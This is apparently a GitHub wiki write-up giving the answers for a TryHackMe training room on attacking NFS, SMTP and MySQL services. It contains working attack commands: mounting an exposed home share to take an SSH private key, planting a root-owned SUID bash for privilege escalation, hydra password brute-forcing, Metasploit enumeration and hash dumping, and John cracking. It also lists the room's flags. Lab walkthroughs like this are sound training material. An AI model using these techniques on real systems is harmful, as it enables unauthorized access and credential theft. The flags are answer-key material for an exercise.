THM Network Services 2 - grunt92/IT-Sec-WriteUps GitHub Wiki
No answer needed
Network File System
What process allows an NFS client to interact with a remote directory as though it was a physical device?
Mounting
file handle
RPC
What two pieces of user data does the NFS server take as parameters for controlling user permissions? Format: parameter 1 / parameter 2
user id / group id
Y
Y
What is the latest version of NFS? [released in 2016, but is still up to date as of 2020] This will require external research.
4.2
Run nmap -p- -A IP
7
2049
/home
Time to mount the share to our local machine!
First, use "mkdir /tmp/mount" to create a directory on your machine to mount the share to. This is in the /tmp directory- so be aware that it will be removed on restart.
Then, use the mount command we broke down earlier to mount the NFS share to your local machine. Change directory to where you mounted the share- what is the name of the folder inside?
Run sudo mount -t nfs IP:home /tmp/mount -nolock. Use cd /tmp/mount than run ls.
cappucino
Have a look inside this directory, look at the files. Looks like we're inside a user's home directory...
Interesting! Let's do a bit of research now, have a look through the folders. Which of these folders could contain keys that would give us remote access to the server?
.ssh
id_rsa
Copy this file to a different location your local machine, and change the permissions to "600" using "chmod 600 [file]".
Assuming we were right about what type of directory this is, we can pretty easily work out the name of the user this key corresponds to.
Can we log into the machine using ssh -i @ ? (Y/N)
Y
First, change directory to the mount point on your machine, where the NFS share should still be mounted, and then into the user's home directory.
No answer needed
Download the bash executable to your Downloads directory. Then use "cp ~/Downloads/bash ." to copy the bash executable to the NFS share. The copied bash shell must be owned by a root user, you can set this using "sudo chown root bash"
No answer needed
Now, we're going to add the SUID bit permission to the bash executable we just copied to the share using "sudo chmod +[permission] bash". What letter do we use to set the SUID bit set using chmod?
s
Note: After setting the permission suid permission you may also have to set the executable permission using chmod +x bash
Let's do a sanity check, let's check the permissions of the "bash" executable using "ls -la bash". What does the permission set look like? Make sure that it ends with -sr-x.
-rwsr-sr-x
Now, SSH into the machine as the user. List the directory to make sure the bash executable is there. Now, the moment of truth. Lets run it with "./bash -p". The -p persists the permissions, so that it can run as root with SUID- as otherwise bash will sometimes drop the permissions.
No answer needed
Follow the instructions of the previous task. Eventually the bash-script will not work as intended. If the script does not execute properly you can run sudo ./bash -p. If this still does not work you can also change the permissions using chmod 777 bash.
THM{nfs_got_pwned}
Simple Mail Transfer Protocol
emails
SMTP handshake
25
smtp queue
POP/IMAP
Y
Y
First, lets run a port scan against the target machine, same as last time. What port is SMTP running on?
Run nmap -p- -A IP.
25
Okay, now we know what port we should be targeting, let's start up Metasploit. What command do we use to do this?
If you would like some more help, or practice using, Metasploit, Darkstar has an amazing room on Metasploit that you can check out here:
msfconsole
auxiliary/scanner/smtp/smtp_version
options
RHOSTS
Set that to the correct value for your target machine. Then run the exploit. What's the system mail name?
polosmtp.home
What Mail Transfer Agent (MTA) is running the SMTP server? This will require some external research.
Postfix
Good! We've now got a good amount of information on the target system to move onto the next stage. Let's search for the module "smtp_enum", what's it's full module name?
auxiliary/scanner/smtp/smtp_enum
We're going to be using the "top-usernames-shortlist.txt" wordlist from the Usernames subsection of seclists (/usr/share/wordlists/SecLists/Usernames if you have it installed).
Seclists is an amazing collection of wordlists. If you're running Kali or Parrot you can install seclists with: "sudo apt install seclists" Alternatively, you can download the repository from here.
What option do we need to set to the wordlist's path?
USER_FILE
RHOSTS
Now, run the exploit, this may take a few minutes, so grab a cup of tea, coffee, water. Keep yourself hydrated!
No answer needed
administrator
alejandro
Run hydra -l administrator -P /usr/share/wordlists/rockyou.txt IP ssh. After you have the password use ssh administrator@IP and the password to log in. Then use cat smtp.txt to get the flag.
THM{who_knew_email_servers_were_c00l?}
relational database management system
SQL
client-server
back end database
What major social network uses MySQL as their back-end database? This will require further research.
As always, let's start out with a port scan, so we know what port the service we're trying to attack is running on. What port is MySQL using?
Run nmap -A -p- IP
3306
Note: After you know the port of mysql or that mysql is present on the server you should run nmap --script=mysql-enum IP to check for valid usernames
Good, now- we think we have a set of credentials. Let's double check that by manually connecting to the MySQL server. We can do this using the command "mysql -h [IP] -u [username] -p"
No answer needed
Okay, we know that our login credentials work. Lets quit out of this session with "exit" and launch up Metasploit.
No answer needed
We're going to be using the "mysql_sql" module.
Search for, select and list the options it needs. What three options do we need to set? (in descending order).
Use search mysql_sql in metasploit and select it. Use options to get all parameters.
PASSWORD/RHOST/USERNAME
Run the exploit. By default it will test with the "select version()" command, what result does this give you?
Set the parameters and type in run to execute the module.
5.7.29-0ubuntu0.18.04.1
Great! We know that our exploit is landing as planned. Let's try to gain some more ambitious information. Change the "sql" option to "show databases". how many databases are returned?
Type in set sql show databases. Press enter an run the exploit.
4
auxiliary/scanner/mysql/mysql_schemadump
Great! Now, you've done this a few times by now so I'll let you take it from here. Set the relevant options, run the exploit. What's the name of the last table that gets dumped?
Select the mysql_schemadump module. Set the options (PASSWORD, RHOSTS and USERNAME) and run the exploit.
x$waits_global_by_latency
Awesome, you have now dumped the tables, and column names of the whole database. But we can do one better... search for and select the "mysql_hashdump" module. What's the module's full name?
auxiliary/scanner/mysql/mysql_hashdump
Again, I'll let you take it from here. Set the relevant options, run the exploit. What non-default user stands out to you?
Select the mysql_hashdump module. Set the options (PASSWORD, RHOSTS and USERNAME) and run the exploit.
carl
Another user! And we have their password hash. This could be very interesting. Copy the hash string in full, like: bob:*HASH to a text file on your local machine called "hash.txt".
What is the user/hash combination string?
*carl:EA031893AA21444B170FC2162A56978B8CEECE18
Now, we need to crack the password! Let's try John the Ripper against it using: "john hash.txt" what is the password of the user we found?
doggie
Awesome. Password reuse is not only extremely dangerous, but extremely common. What are the chances that this user has reused their password for a different service?
What's the contents of MySQL.txt
Run ssh carl@IP and use "doggie" as the password when prompted. After the login use cat MySQL.txt to get the flag.
THM{congratulations_you_got_the_mySQL_flag}
No answer needed